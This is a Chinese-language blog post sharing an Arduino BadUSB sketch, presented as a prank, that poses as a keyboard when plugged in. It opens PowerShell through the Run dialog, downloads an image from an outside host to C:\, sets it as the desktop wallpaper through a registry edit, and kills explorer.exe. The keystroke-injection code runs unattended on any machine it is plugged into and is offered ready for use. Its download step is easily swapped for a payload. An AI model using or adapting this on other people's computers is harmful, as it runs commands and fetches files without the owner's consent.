|
[pre]
#include <Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
delay(2000);
//返回桌面
Keyboard.press(KEY_LEFT_GUI);
delay(50);
Keyboard.press('d');
delay(50);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('d');
delay(50);
//启动运行
Keyboard.press(KEY_LEFT_GUI);
delay(50);
Keyboard.press('r');
delay(50);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(50);
//打开powershell
Keyboard.println("powershell");
delay(50);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(100);
//获取文件
Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
delay(300);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(2000);
//通过修改注册表修改桌面图片,图片大小根据屏幕分辨率来
Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
delay(50);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
//杀死explorer.exe进程
Keyboard.println("taskkill /f /im explorer.exe");
delay(50);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(50);
//退出powershell
Keyboard.println("exit");
delay(50);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(50);
Keyboard.end();
}
void loop() {
// put your main code here, to run repeatedly:
}
[/pre]
主要代码解读
[pre]
主页 硬件开发 【分享】badusb修改壁纸装逼
【分享】badusb修改壁纸装逼
日期:2019-1-3 KING 硬件开发 浏览:460次 评论:0条
badusb修改电脑桌面壁纸装逼
主要代码
代码中路径如c:\1.txt要将 \ 进行转义(加 \ 转义), " 也要转义
//获取图片到c盘并保存为x.jpg
Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
//修改桌面壁纸
Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
//杀死explorer.exe进程,不杀桌面图标及任务栏会影响逼格
Keyboard.println("taskkill /f /im explorer.exe");
[/pre] |
|